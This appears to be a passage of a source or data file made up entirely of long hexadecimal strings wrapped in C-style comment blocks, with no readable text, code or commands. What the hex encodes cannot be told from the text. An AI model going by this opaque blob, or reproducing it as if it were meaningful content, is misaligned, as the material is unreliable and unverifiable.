a21aadb038d4bffbc8eae3cac1bdf827c79393b83a429a3aa9a5c1f913baa6e9766c575954ff437e16ec0102bb4586cfbedc0a1845369328e44b449088004e458ca6e7e8b7d7bf40ccc1d8424124b7a1085a8cd05b9cfd1618ef02d5824f2ab2767c4b0d29ba741bb6fa9ac15f10c709c3431f59c3e19a1d98bdc0bade193c38f015631d5c20bfef42a4d865c266f1e5eafc813463d7beb5a8f00201129cc51ef6c5e818c1d76ffe4c98b3ceb536e6657a54e5fb02af375c285c17a2a3502eb82e435866bfdc434eec95f3c10c608aea342f8e72400067befcb673b983f9381d9da878727a94373df9bb08a669048e56ac78b9e4e18604e5bdae9e6b4ab5c6dbc1c38682509d646a917a4cee38c1febcb671d0f0115e1eb91b2b9a65f3106e9aeeff5ee4ebd3a45c192609fe510a767f057be9c471a5a4338727f80ea0b32aabe48bc8b4378c33c9dd2afc65c7ae672a6a96d4850108da7168165fad8a6d9157aab5aac4ec27a1367d0cd7cd48f7f1702d3e40ed09469b88e9b774c00c57501f6f2a874e89fe58813520cdcfd4bb51af3f82dab82b0091bc59bf8963851a4e34e92bcfe352e3c3e844b377e4b4bba5ee8068d770e88c815001f55b6b4e233aca47c2849bf8a5a1262bbdd3ef2efcf560dff59e65a006371b227bca0b211a828bead80383cbf3a11ecddbf62812cf062a67430cabbba0f58af683a2feef83956ff908fc1eb8867d2e9f475ffbdf1eafb1ad76264c63bc19228955c1d06171f7f8a946f7ac259d31ae56ad771eae0d42a7db31a8b0ed6c372a81f4cdd00b9efe8f3e56e4dd7d728bf92a95ce66f3e5877cb619a77064c80da9631a4f288fd9db5e7f827f59bf1a0655411afca6397bf8c3bd73f8877e8f41acef2f5ec4e91ee368f106275a0e0ed92ff70d038a814259bc1a0c3ceff12a0f7d1865b80671866c17c3da55b030639477c60eceb92f13bcbed4f3ea0a0c118db736aac2e860027f178025e5e2d6d22f6f7da5824ecb5bec0021cf00404f489b9573cef07c83db9bc996f548a0eab0b2fd2ee87836164dd84a470ecb0fc38ca31724bcd1145e56e0fec1dd7003bdcb69f6e69c2a72d203a3fbfaf3b9f6304c3401c7450d21f18ddc286ecf8909beca386e15db035754cb8ea9675fbff57960595bb73e0d0d90f7c61f076083c9542fec3a6ec543b942d95d8ecc8c050d50d33a2b80768ae9490e677152e6773d0bd7ec5a39417ce833b36bcfd6b1bb5e25b8cae76e48ced6d7da15a54f49142a7fcd94e7e8f363d588fa7c57195e09dd3d78b70af9bc8e1f84907baa23b37ee5702110fd20cf81753b6573d732a6fff501d7b3747fcb6b2b1d89092c05bcf2d09875dbd7393028b01d6e412a2e6dab2d367ed60d60dcff5231d27f285273dfabad8c72b59c00a53a561673500060683c2854f0db2371004a4eb95b3c0c1ec5e115ba41412da379e2160bad79a718b5850a0dbff8a46a4a470fe791090bb77eedd0a911c723cf012f0b601895faf84bcfabba7a30387e4280dce1de4007d757b42f32da4734c5ffb7e416aaaf7ae63f674b8779ceef45eb44035dbf69c33776134c496a728f4cecdf0899f5a09980051381b25556cb76f440b873da7d3d15ead53b12ab4deb2ec8ccb066499fdec9cd62eeb72f766d35961894beb4de73e2d53aef7a407c740a137274058e1c01e825e0d7bc1097c9c6b6daf1a290ad92cc60a2fa5eb3b80830f9090a0329174928636d2a2a32c1897fdd39f8f47321d05714058b9baf48f28fd7906ad52e025c50943d152250be50945eeca1a70e5b36db1edf813c17be66f7af9f1792682f86a8b6107e7fbfb4817c5849a5d40b5db07def64bac780c797dc72193a06a3a2*/
/*cb14654d557ed45e5b5e7e96b602ffcf21ff5c94b58cc32e263a7a6d2208013925f13ecc8e914d73f23d66188a54d951193eae38fbd5abe92120275d82e5bd753b535f17b4c9c58262c87260f783add5b06445c0f846953c791b86a774bbcfe84cad2fc6ef9830e8305d079059cc1721ddc0d4dc6ec6ec83b5a9393af0ddef41f9e79e5f9f43866ddaf011fecc2a7452329ef6944f6abcc6cabe36571ea939a9ab985f6c4d172672d91670e9a348203b1d7cf18f191d3a88e536623a936c1baa85dbd92d44cfdfb4d312e7f6a016e122d632a27d73e414bdc64222101d173813ccdd4e070514d726a8df4e531ef530dabd3adca7fbb29118e55718853c1ddd72f95fb33ec7a2c42806d662bb00f469c5b4a927dac97ce6f7974fe8c799bc147be8e881e2278365107fcf30c697840e38d93267d057352c42e17bb31b1bf4d29469b3de0f18ed9e17331de4199dc41546cb08f88d20d95b3e63eb825105b28fcc63ebbea9bbab6d81cef22fcb1cc2178be19dc476d2c4ff6b6cf949924ba20219603aeffb7f1a8db55b6842df77935746a4e983c6c5cf2ee66d6d80b344f4654298198eac2b51d73eb9263c422e0355f50849c1b85abf94fbe8ee2248cb5b6a19d61239e0b9f0c0fcd1d9ef38339ad753c27d7fe0a57e1483d67e2bc14da3d24a79898c1abf526033fd281734dcb969987e9618505165ae8470e0ab3525e85d95d52d0f2a47a4b67598ab2672c49e1dde52dc93d744b11d4c07563f27aa7b49bde54b99a3021289b4209594e0ca786e983ece45881f58882a04b089f64cb9af962edeb2a2cae63e6a7254ba1407534bcf8a2485dc0640784db9aa9f94a7180189dd89f675b48ddb3f81feac53ab6a4f224ac31f8fa03242035a11a0c7e0818e5abaf1e439171210682f362ed61fb09534817209c93b275c0128470bfcd2acecc052b3b032dba991b5fc8b040a60baba4053a13fe9c77e3e10d9875443ed4174ee636ef5e800485548824dd7121a2382575ddf09162366a9ac1982a764039821485be5ad9a478ef260223b81066e0ba9b3cff921d63e1402dbe0ae5bbc82ecbc91fc56f2c95dff8271daf1255df39ad8fad9b99e8ac120670101a00735ad6e95bea9bee247d09fea508ea204833c0d84ebeaaa837b13add0e0e9e173bb247f76d26f5f3e6e330c9b32054b53ace71d35b26548bbfc2bd3ca28ae2c15ae213a55a3b46731fd487c373485f8da5c555003d8e3966157b8ba0df2507c708942158fdf250ef4ee05bf35310cb273f37b86fec6824d0e9e8617f0e75cee891044b76fe9a65bb09a7e9a7de969428b17574f87c35b46cd92b3a3e35127acb49e368f3e107fbd38ca0cc73bd075b74085a440e6fee969942e9a1079f0d6bd3e9839f63d154c82bdcbfe2ff429c53314789f8e63d3ebc3097d4efc0ae8f9ac4c5d67fadbe27b1f2a9eeb3028b5b72ec9ea2adf25be598ed635a1e8eb9f7733ea9e3dd4af99cf60a6068b8081d70eaf5a1b8f6b6e1de989154382469eea8938a9fa7094d880a69cc2425c2beffe7d2b4184f2d12d5d2fc2d8013b390a78bbec540bee5a6aeb8d40ab17ff3676de95b7837f973b2a01efd76acd729cbca9b46a43d3fc70c8104111276642a592356a12e225d4555037d63c6e4bd5c8d7ddb6a68d81b974770340ca26ed9641f9b24860324306f8615ceccc4fa99a06465ae9698a15734d6fc8dc331c98ce6087e3f6a022d327ef5faeb476c830fa568d8f563d1e99b592ba436696b2d2e263f03786eeeb4417d16ab4cbbdef6bfa2921a0e9247c7a0cefc30cd7d55cb63030aac403a9738b2aabf2fa8769ed472d5d31913193a99112b75d7a93e32838db96ac25a56614b69bebd449a438e85e9e90de5c5e3edffc27c684d4215ff37f3e32b15e54dbdfd3926d3fd6f900eb0bf45acb9589d07945ea26baf22ba9361ea28d339f7fc6a8a75ffefdf42aca89390fb0e071042873d647433e883e6f166e158576ef476eec03cbed2a5328bc450c2fea4c523316292cb3db2eaac825fa2d27b4cb62e0e4799bf207d0b79b3b30e059beda3adbf1eb636b11936ad676b94cb4b6389417cbdf86952d3dfca5ffaa5fcfdfb1f02cca93131695469284be4e45444d55269b7c8ce8bbfdcaca0a1c6e0d439e16b05b0cf5e5bc65143602a25da49e246092c23ab2d690d3ef1dfde423b7bcb6d765ed89b34ea93a55f90503afdec9dfe0fae37a0f56e5f542e6640b7e7429df9b41f5e068df6590e862373b88c62d537268ac7d67033f891733f44802bc3a9b12a90390c8676bf1a1735befe05baef4a9d50c9dfa2f433f332d02b394548e23699b1239ea2264be21748d2acfa56363d86954fa9ef12d410177a9e734ef5e09e389a31dd3e7f33fd6f12084ea4a21c895b7c6fd56b1ce0ecf9703f44e08152bd96efbeb7c63ab2ece75925c9539d98fe2321234a4b9125b1ba79408e4a867f904120c0fb9c972bba63a8059a8a727efc7b5bc61bfeb9d719b6f0c0b93d8e955c0b3bcc6a965063370657035db8efd5b38aa4917a17f8254e27991e755163be0a4ee0d5c8e8e4b9d5dd2dff7fdc48b8bc822368a57e43dd831ad712adeeb84ed0bb22adbd1dc910a95191aa43292e3e358b6cbf9af74a988506a6f1bc68124ed55aa3ae3bcd9654f8dac9d0ac49053785355ff3823737a93fef5a242ab00b456ea25c2f5b827630117df979f373dcef66884e3f6d04a17366b0916725f295a3d5eee66295c551fcb76c7ba928f8d2f1fb97d5cf40b6b62c26117a490bbbd8fe108056ad5cb56a43db21b5e83a5dbcd83d95a147ba7a8e1fa5ea3*/
/*2372a4c6dc318ea1cbb5f7e04409b98b1205b59b6533ed72fcdef0266951d3528f7781d79588ab80b9a0b7dd12124c091f3b68d22242bd6b0925de6899d91da5e1931bcdd2bcd74a8b6fef86463428d64e022aa6f52d067961f3acb7d5e7ac104ac95282d51dda5f31af961735b12a826a3b9ab2d2b8e481bac3c78e6f97513aa0047458148621848351bc533b6a8a89693a17438729a9dba2310c3389e5f733f5430dfc54cc275fc663d1e2e4241b606788d33d448fb7a73eea165044807ad87f4f1cd74ffbf5cd5412c8d771ab92391e6cd1ed47a6fd7dcc1e43ffc93906f646b8c081bb5e5dbbf4927817fa0779a31ebd66a4329bf604869a760b8a0fd90bd4d4e5fb4a3a35fdb5412c5e74f9078f3f8dd92b9163f63e6cda4e1d5617a8f25f69461f68848b81d007422ce250b8b41b1447be5dba4a83ecde5e8bd395331efd000998732ee311d885c521db3d3e7b935a240c8089dce2f9ead82b5ebac471778d3436a9886217c902057f3ca0824bed6069032ae18cfe30daf2dbaf228a510b4404b6729e452868d2de157f93887fe48fc0f8d7fc9bd9b44a8e5a287c7eb7d8845c7a26990efb346950d2e0662e2d9e32cdb2b2c7383141c8ebf81c7b79422f88c2f1b809cedcba85578659552794924abf2439e44708b9524950aa1ddb9837c7083e1e0ff8829b9360e348c02ae044f54c9d27d1321a3ca9bd80273c13cd14c7d07343bf8c867d7101abf39e443855692f9bdf6c7de14a614e96cb54a878fe8436b59ae2caa3f8b8ba7102474cad278ae403bc92aafee5da8fd8b76b4fabd04b46de1886f17d162fa0f8cf62a3912327eac62c8e66282a67f34444d26b24eaa765d4bdd8124efc23f1a67b91d82900f8c1ae000911431585eeb9b1c86fb07f4511458c6d705206fb9ce24ab3cc4b86b052c22e4b6e22fac891b977e5c959ae794460bafbeaac6ed6f24ae1f5ca83d2c0b22cd76b0bc7c5f4486be85e69f3c888b26b61587d7da24014a392c28a85262e0e826740612885d5a49aba9deec39dac3852ef41d2e190e770d1aa9829015b2b0d7bd95ae6afc832f97f3d2f3c27a2fb0f227e98f4a8da54ee7c87b334359dab18d3b3bdcbfe52604b08114ccaf902315539c26ebaf994af1653c269ab80873364b2df67fe080459e6e45134fe6221b9dbf0d98a3b15d9acc1f9ca916370016e06ab7598e1184597ca26b6ac05afa4cf5082d9df61b07c40eab91be4d006ce5d8d5608f5f91b4d6ca75889068d93915923f6d454dd2e25a5d424d445f54221228bf593ddb22f32b0441d373d6fe7a725ef5fb9ebf8c41ceab78a31dfa4c02d840863b6233f2fe429a72c8fb291769caccab384a6c91a46b24d26b6b6c10302e4328f33fabd3a77a9f871f1bf2500219765768c5191a649688c0f6c127b836fc4ead2ddb00823dbf511b6fac88df2d0a73b0a24076f8bbee0ab0f175474ee7902496c35d02a7961087ffcafdc7fa2c28fb5ae396e6f74ef05e0ea8373c6a342f26788ccfd7db5b5b6dab1826bc510eaa8dd5ac82253f38420a92116ef15ec7d42017e5a310be0ee5adc9dd1fc5731a11d689b23f12e99f2f06dbabd166630f93dca16b993c9e7dc4c8262bd99fc21c562635607a330c6490052078c116eadacc37e2c961095273230ba6b8f0e566418f0f5719f08a22a85ecf458c1197e9b117d799c58e8c951b2354cce9714cecec01df11fae3884a2a4a525e2350de9cc544d925fae75e52f59162ad7d97bebc37579f019f2ae54ad31977bef640aabba6834b31b0b79cbe00d1442abd0f6cf655ce808eddae4aa1f86f134e1d38058ee8270c2dd32f4867ae5fa513befe25a094c5d26656d1e72fb889527656c80f0edeb9d31850c411a22832f071fd120dc690f018e6b3366f208f0aeec62f45a5360c34dbdadcaf836a576553138eb9beefe5a9da90a5f76b0044c6acbaa646f92201aad6328e0eb4c08d5e0e54a54a9e3f2a438f2887bbb94d5d4c4fa7da411c83ba104a2ebb41ab7a599414dc7cedb4fb47467716ad2b85d9d016bb8e4e596eadf2dd67b8536038dcea7bc9adfc7736eff1e9a6614bb72d388323fce4c1cdd1500fd47a220bd5020c00bfe8d5b45e935d33d4d75ab087f0e939dfc195ec0c45eef3928e8dbcf5064461ea2318542ea88e59f2e9c26fe46f3afa1723af0939b64a51dfc64473decb2a0f1b0e070c8ced5c79f9fa711428ef56724b9e1f9722a7280065d4c84ada28fb8128670d4f73643b5edf28b4faf71f0d7952ee161e6446ac8871d30799d69b25fda17aefff6af381e77f85a4aaed4ca9e92ce47c854f47fbf5301f1800dc3205af52f492fd5a21ed29de92be5fcbe105b03ed977bfb8827b5df0bf850015c1d5f3986ffbdfdec4dc72f3a9596096af7e37cc3a3cc7a0af9a705a1bd383946b446a0bb90ed353ea8585ec1f76bb315ee320389c88196746d28a19fed2f7f1b2fe65888ea8459123788a840b022ae02708fc5a35ec2cfb7dbda4483ce7ef04c580a5a26d1a75469364f0cdec5d5dd1c34ab71594f2dec8a78264b5f051d46b537cb540708ad5fdc0d6a480e796871797baf3afa90d92d83541700c6ee6348f639057d55c9d0194393058b5bf0e844dfcd2a33a6179a64dcaa91156b5b1148bc5780f335eda4a24b6bf968ff0ec50052421a2757bc78d7b29f00a80c696a46fd6f25bdc5b7de27bca127d95e68bfec8d3443ad67499cff6445e4729a3d281b71193e33b4cef8f16aab82c7316fdfa628cfbe94a9780c03be583ad6985f4f4beddafefa539adc920b3e7083428be326aa327fa074b6bd1e8dfd01*/
/*a28352bee4c90bde9590e19df3224e273a4a8edc2b44b806024f3611e2b5aa0cd3a990b3ba389ed95c141117b6586bbca8d391561fd68cbc1959b6e10986949a0ed1103212656c9493c133d8a03e61b2318f91a9d2ba2cbca1b849efc246f36b2e83c8887d88e25bf9e4369b24028af2e1e49b5a0b6cb15f9b7895f9e16f769661ab7297641b513bc1618bc24fffb0265ec09de42e90fe80414307a3e78da5f5eb125f124986fe4031bb2b19f126d9e9a5750f661721133f647f005b18355e894e0413e7046edb02913896b0019a6886f1a2050c2b8b1e2bc2923e4fe8ccffbb3f75bc253de995f933d7aa0ed1485130c9fdb1ed43066f56d18e0f645e9dab82b1fd99defcfcd4cecbb898034a348c0740e177faa30725cae2586da05a12278eb68755a44785c669b0723b8e3a429fa89e212206d28702f3bbdf5e840f726307c90641f881a9a150c8d98ee4d8b79c77d70da827261151be4b1f7a6431c91713403f2b5aa41488e4f2b5c66f830a9b0bf865676ec80077f9ff807f97485d68c3383eb7f5536095c8ab11818b9d4e01953e82dd95bb150e01d6a503c482f3c48c0855346d930d00583d154c1f5107af4a8d741fe41bbc13f97ccfedb6bc2735474a3e64b2d82df6bb738b9969cf9972ed1369d081de92137fd3be005738166afa11bd3bb576951d1b0bdaa4a41733fb4328a41cf4ca3327ccdee32e94b74e4a93cefb080bb4b6f9616cee6543c5a55557f31939918a590ea1f0b0122b16ddb3f7dcc97355617f5a05d6477d31c773adb70a374805d426fe4432c557d7f49589a7d2eddf18a73d7d43e97edbe086207e91d13a12bd7f725ae844a0dbd18eabaee46ffff0cfa4f34f3a0994ab917a78d24f926edfd184f309f9cd57e441464495034f046bbcc62463aef607952e73eec8d22d9d0ae7831f55308f86601b39059d451e9dbfd8f0955d734adab64682e31b4778dfe1d6725e9ef41cc687aeff40d9655be50d27b44207e046663a4fde77ebcf426ab34dcb21a53f726eadb9aebf97144f615a7173d4a46ce2e2c2a99b7a58f4efead3207aa9f87e33171f5a7daa96329dc60ff0a41e480ad7290bda63c036e4dd6b82c7bc1d069516f285d48c011a85a2e21aa7e916f0ab4c06753f5dbdd2b38d8fe3618d40b3ef9b7093d84966fd23e68032a4035ad9427cc43139780cfd2be557ff30e7940ef9d4b4bb3678b7546ebe3dd22bbd851e0f0299930d08bd6225899040d23ae428e1cd09dd0699a6df8caf2ccbf8dce6d65eb87d3fad66d0360b6cbc4e0f17afcb2748d31197db6f9e52e5bae83f2335937f8319c549e462eaeb1deb245e0a67fe1d08ba3684a048839eb2bd0a6431ac3ee22ff64f5268406a14d29ab54af7a52a38ad7bd1e9f43f7d3fae025a858387252106b372488e5fb514e5f9fbf5620f2e31ac388b3a0e784ce03d364e418b1e903ed087d1391484aaed67f922ece98225e19107805467cb87374ce6693fc94f858f1c8c926a45b3e06f175cc565af53d4eece0ef0f490f3819983b3710bd9c92fa9c91ed30b9dc1d3d6a14ee8fee7c57a111e56b0dc25c5cca99da77e3247f9f98d715cde6d2ed89f804dfadf3deaab621567c8d6c119570a8162e1eff5f8b693b92315c2da136a06c7643f9dcd5e83f9027670fe62ae535d23178766eccc042acc9d1e314779dbe8d02690b409143c92bbd28bf582deb87b58f81828b206cd9d0c4f62eb7d74a709606509844b95cc413f9de8afe166affab371a9d9a95ae4169dc795b85772c576284d6491e111a725ee9844a4949c3ec1b9d22b14cad7335bf92e09578105202773eea1eec580e4eab005614e9c380983ad006e74f5b8a7f1d4e3f8753900666259b625c01af2b17a0229b5d9f7f6776c24dd22fdf7a2326d68c25b4498b161e9730c08305583a378f48b2515493ba213d84cd24fa4b2d32fa07c27e969fc3692841672184f0392fa9782ec443fd842fbd3a95b6f272341bee6feaed4e59d30982a83e891ee75301020379cfd9b4663f1de18f9fd00bd82bd045738e70179ab72427f27b9cb17a8547603023ee20efdd4c58a28ddc3ceeafa57fb70ac21c29b4afcac4d5e7d9c4b42659d3dc1daf0ce557b2fadebc0c079c3e93557413d9036ae72d30fbfb44983285fdc7b5c423e0f849d8a16c8514ea5aacb68c7553ba8e2d9395a6daad985f9225be9916be58ea6ef592088747a2eafd90e12688741a2ded472a2fb3b5cd11b0271a0f4e63514b6bf006f52306b36901e1b180a933e24245003da775a1fa1840b823baaf3afbaecb3985c12d184773ea98d11ce3b88411440ee977b4c72426eb7800682a001bdfb0cb51dce1dc08403c051b27511c14f65d8a661bb4833b340265de2eef1d2d4d8e120d7fc49864614e1c2ab6bb1081a0e44de5d4731937aa99f739fa0c3014236bed8d6911631db53d626e892495e736eb26b490f0d7e0a7ce2adf7156a2810dd393f6461851a5794caa73e1e65902c17096c0897c4a6180e515bc475d3954a7dbf6a06f5e37cc7dfd80c6209d72ce580fdfa79eab64e0b30420a1e417a60b41cb4e7a9beaef1486048ad86295d44722dfb3553a86dfbc6d9abcc416e7e4e74534c8749b418f33c7844ad498f941e270fd1ef758ca2cfc936c72d8798e63681ed1e99d34a9ab5ba1bec0a2eb6e5d17653e1377aa645a3696e2cfbf1d9ad08b0ecaecb720e54c3a0dd212b1137d01326b1789b20648a40e2dc92deb97e2e4515b76c4a945d8ddf4be65b1daed65631c5cd7e09ed94c1ff4b60c6fefb0deb1c4d5b62647c8e7242cfeeb6bd4de328f348559257*/
/*ef2a8ed9f09e861a48e9a4303f8b0610eb3150be71ca32730ecc75ea85d90fbd3492e0618abad8ee8a07ff321e5c8a53ed2a2c369b94eae58bf10c58279fc4db523d88e5e12b2545e209d228dec684c3e354c9072fcff8c7cd6811262baf461e7668ac0c7927d5c292f8b5e0fefd04c2102971f5540a11ed71e37fe49672def6a50ad640d699c1de3c56f7f1ea70689711f9c8087a0290b5b4f2f824ad475984aee76311071e5011d86b2f76f480f0d536be5451d6ca94b2beca6e78d4d782b8847bc75b016c5456fef2b10079023563bc9dd1f2a81bac369e8697d2e51e70ff8dd4a10faf40374db4d7e048afd4d2432b0c4e70e29bdf3ce3a518f4c81b31278002c3c86ddb7f269e9c73674e067080234a6ae8b53e6c7a4f7977d2f488b9d1a6d7182a6b7e36b479e08ea955bbc0ecf348a842f744cba590eb81b7ce3c1fae5acf7599262622214a03af878942bc81115bd672f8a9e1ddc440e32d91c833fcb95034c110b72686bbb6e1f4042178563e31f4740298eec18260f0a8c340b4703b9d55b7ca72e4d7c7511429ed7e5987f5b93f8eebd42e1aac7499d1d3a219af4aa75fef6a345bf9c0c06649f1320546ee37277c7504c5b6d8896b3a4eb9a90bdbc62bc2080c2f04798ae3f70c0d47891b72d1333c222f8d644968a77a36888bbef48606920fb34971124d632842e654dfa804317b0e05eee8df81f339abb28ee179672c047f14468ebc01142fba0af3144445502e2c1f8ff2b7ebdee010079bc12e0b6f05568c987d7a3a80bc6dfdbfea53da03256d4163ecb752882d6680a93ce4fdf3ecca63985012274e58446629e57b6572cdf82950893f053303701a8bbd3b16b6aff5d481c11730a810af699a62168d49060ef70496d542b51492a299fe88104bd7712ef39ff01f2996ed58123eb3a72d0c175da40322f9d7416d5c65bae96b2bb82b08c14040df28e494658d6343ee71e5023f0bb05792351deaadf314877e328daeed27825266566e4f89c19c6e90f3e115edbbd5d3f076b0036999e5c46222346a0b8cc6a6de6fac00e88d971278e6d875b142a0e13848282ebac1850c95d417ade509ac1c9e2de74315ea3efef1814a1460385ed7386bded8095f8bc8b109b6f9dad3876d3d8cb60d27a654a007b05be9f908e2ddaa0acd21ad6c5f758c5d99cafa9332df4862609eba2d17aa819c5b224ec31e28d4d3bc13135ff32d10e20e9ef3a97edb9040a1678c38f7041b5ccf11a07bfe436c01dbe5c977f9430875356411a3c2f9f290480a7fec8854cbbdf0a0ddab1ffd30465a5c2fc5e1c363b5f37f0d7b219514145c72590c3932ca4e500d5815c1b06bcd0c03fad69bad055cffd9522db5bc84edca3814cde6b8888f3429773c207b0b858622f1f4f7bb7e2a184eae240808d05ef10f84841f182e6c3770fddb620e4b81e7c194a6318c2eda63df428a154a76ef1d99ed5a9b51ee183dd43d4d44a3887d29b0aa80dd31d87b9569c6a3e174d12cfaf593e9913612bbcfc8a6d52fb10ee37110598714bd0426343bfd5f81981d83ba46ef435495f0bd80075c35e9305fcb3f0f6eebb214f2fe413312c42c3ff3f1d5eed9ea8246e730f216d90af875c4544bc71418715befce2bfe4aaa5ec13a37806db8390634a5c6bfd3ef5f79109ab53776a8c60ce5c3f33ee1636a2ad0a4abb898fba26260dfa086b7509668894742301845518189f79a381ea4ae8b7b8419270f15b880ba8fe6572b2345602561fc78f3d84d3c8fa40636750db8d20eff9dc546fceba6665f697cb6899715c1a5a99e79c06f6c84790e4df7e38c81317abb370ea47e22eb48d70bd4cd800b06f4f8e5d30c9574aedc09c307f03d8da4ed69cdc83b4b66b826ffe1301dd3f8312989df69ade225b4611798b28e2f2e5ecc7e82dae8da91d01e3a2c2839a9e8c620493a0fd851d4b191b819d02b6a4e09d6619f175aadcddee9bcff6ac8ed35cb6dabcf6af3327d0ce4478619dd0dd4623a7a9d5ccf961266eb63c9b767b991c0e0764a4d897f9b142c0555875878ecd8cd59e9a12487464f5ba9fd9fa7d96fbd54f602de762ff4478d830a6ada9828aefdaf54fda35515c0db959e908a41b2dbec012668025c6747e6681d4503b75e7631f483d80fb74cb90fc9866bf3f69b3870324333325cfaa153d0bb477c2cd9c4f075bf9df51b9878577a258e4116435f0e7f1e40244e77cd359027b21e20a1c84e05d98e98531eb4cf493c3b7aabb22477bfd23a01b56434ed5c962e70194f87ad8a80fac868e900c66930d43a3da792646d8d0558b64d87870ac88645ca41826de91cb43380ebe4ec1747b42a4227485df0e17853e924d2187caeef03db538889f79e6392dddb1ff2ce07814414a7ed9558e938ac260794769a93b0d15fe83249d98893e4972f6e5ef752a70c16bb9b907050b63f0ef5339bf6a741664bd83edcb7451a77d546a316549ce64b9e6cca49be0349cc6ef3c51ef561e0ecfde31f5c890a10700d58484fd278d2a614449051e2b3ba01ba640d8052036141fea05782797ff95a71b209304a75613e404c25fa47265695176b0363730933e69a368471a3e76a999702ebdcc1406a3cb7a882309ece348eaa0454433d0daf468da1c767f5517611e9fed176a55bc353a81208f26db444a6d7fc4b2a1963a96794f9fb2cdca699105ba5c8d36be5e81d969d58ea9b2620eab912c3c53a1bf3d19c7d4ba249c24de20c62c64afe89505fb3a26800e67040cac0f6e6cbcc629fda1b4ac1f2d65760a24ce933fc9561b695a9d9f17342967cf481686de68023087c4c87815866541bf9d8*/
/*fcd38a94063b3f9497b69a4577fbfeea00696f91855b98a1437f47c3431db4e701c9d7a59e556118be745c5ebae103e4f386bc570dda703df7d6d5fd6702a73c4a04553ca08a9ab7aea87d2584b9fb331f5ea825b55592a556495f33fae8b17e278e685e04d1ede46b7f857a0514586df56c53e23018347d263278d4d5b8ac5b00fd868f0a040d656159cd55e36587ca8dc92cdd385f6b6688b6d31d841648dacc218e32377293f2abe06f8cb69574a3120e3825d97cf423b855bfffd80466243ff8cbd24d4fc28ba299d3f3c5aac38f8d0e4dce415b9074780cfad77273eaab19f194271cc3ddca316853be3c836946b3efd94baeaf944cde74186285f09930448523527f9788e74d92e15b0d89cee7996bf94e0c6c1ce2eb7a9354c4ecbedff9cb5da1cff51dc2a8cd04331b06aef61c2ba7102e3567997be5c2329e98f4186fefc10fd83117bfaa25ac8ba18b20915640d225d62a32e4545247e6399e5cf68da18bb8dbda21e65a214096791f14c21b4a2d13bd6d100e40a7fee6155f895c21bc38bb4b4db0fb58351396280cd5a0faf61ee1b83699d64e8d7e1e2df2ed5a0080f6d72f2a092f16f62e1c59fde9338c1bda1530e29cf56466c183c318a1bc4fb26f5107b4a46249ebf5fb523fba854f0862f95191b9de131e550d724a3140a83c3d4cb45ee6e903aa8bb2328cdbe232c4efcf46eb0ab2209872bdacb850bd02f7fd4743df7379c12bc9483f346db22591acc77e1368492a92e9845c6e650217192b7f7d2c44ce777cf2b7b6a0972aeedc1b5ee10d97e3526ea71f8d43164c457d76bf5024c2b29484bd1934ce496029aba5078de283bcb3f83d3121529f748a080e41e3d29d7c62b4bc0d596a55cd55da12e28f7a502fd7741fdb0802f13593c4a32d0e0488582954eb11aaa7285424b6b33e90f93346e47d7136e14bc8e816c97a640f06d931056a57cc5e184cae00e80dd3ce49846d5f35c8beff9346855c852c733d744b2e2d35edcb333ee4c414ae9a39a6ad306b33957ab2399ce209f417cb74540e26794c3c52a3db67ae3c2f19d8fff259d90dc6425bd367472a283ec28c42df7cd176075a5371f5de9809b62a071020520cb27400eb4b7079c0725792d4d61b533cd707856cbfed862f058e936e749ed3e4e9bec874bf2fe6b78be6dbace1c63fbcaf8f4b4ca6d0ea8e4f1b742355faa65b3ed3829fc1cc97f872a65b0c6cce097f816fcd235940d0a2e1a05bff041184812e63228413ef0124aea11b94cb40aed3d177fc802372f048dbfb1001cb7e0ded3ec012a817c8bbc52440306e2212ba7b2e965868c22be006ecf1ce3170960771183e0c6e2b5d0c2d96c4ccca9a52cf08b693f883561772b998ff8c42fe4285d8bd28995290a39134dca5b95ea2002c2e82928bf6ac7cf55a24a91e94e9c85f4db5dcda84e36a437f81e0069ea7c11f06e5e45b56630f00c598342378c321afd8514965afa49462942da9a6b4aa92b3c14fa2af173565fa22dd846bc7f7afde4a74b542ae61b46013f81c17909ebc97278f162ce20c474d308b0d85399bf016cb3aeb989bc0a0f0881bc79cbd0f9415d0f7f4c397d89d073df2b982c5a1ac426a98e22b2e556aa70685715b4d9ab4ffe1467bd7f776faddf054fcbce51a0e4e599c872ba920949d04247c53e322c000120773cc6fed331cbb22941e957aff2a93a5e1d92eb8fdcf8b28e5b334c4cc3f4207b740d6eb10d8e5f301cf4de2642d5affa17a515c89890f37799d42bba7bd011c87d9442a33a61908cf7436916056137c20bcdc91dead9253d6cb7f52350f20c8808ad92878087b317b6ebb4a506419e85f02ec9e6efd85ab44864f9fcec2dbe4d6c29a86269d71ed23c9dfeae480cc7955c7324407ddff0de9020895b003e34d58068ba23087074f06a1ba1c75ac9da24f97559e221e7e921b736dec0a9fc55bc7617b07cfc121cc6d2835e4240c44a2c9264f10eb4e9b286d46d53761d32644b3db46a0493c30a1f5180f28c0865869c3614e8c8e3ce38542654862df778a70b013a1a26458e3abe93e1fb596d43844c84baa3f94cb025572e982c1cbd2b5ec30b3c73210b50630a6371cf75ea6e1e590d94e35f11315dd1e32ba36fd437d03a7c7899e86f81639ab91d7dbab052321531696cba2971dea660ec89d4953976c1958100d0bd503eaa232472c85f868a9baf0a335e88bdcb147284620b1b770ccf75fbc11bd6908f7d9b0d731c41617a575a11c9977853e09ca0a7bc763dac3176f67a92b129416cacd2bb7d8a2f332db551360a54a663a9210d8c3117ff383c74eeac0dc841cc62ac1273e34ba448f3462ebe779ceb51203312bf1db3927fb2dc8e2e92a5c7dcb6182f10135152c412cf84e71bc4af685fbeb1ce665ad14842c24003c2cc12115e87798bf7af9131b6b159058035d47d9e815e29a6b0d280dff6c5bef7806ec101168421159ea809dddc5a65e8069f69d0633b197d4fa920d26e901d6b47f3c63bd30115b0d04777b7e4722440406a113e5d00b04edc0d429b59067b82e1dec54b70a8991b9f77a0aacc2bebb2a77b3c07e0291752b9826df28ba1eeb79841a0f6dfe8949bffe35f131bb5e2d3917b2fde33cc7e8c92e2bb2c8163b590f17ea766eaf59a2526550722371f4ac49fe41a07cdaa6eb76b3905f39dc276cb53706cf4b792ac296c2622e9f5b7520f4a91a817b88defe834613b30679357f93c065fec86b9ff9595741f10f7d42bcc3ced39f1fe1051a395b8f2fd38c558d24a3b98913e3d86b6b365470ec10f3123a9c129523aae9b0ac6270722d799096c4b48fd514*/
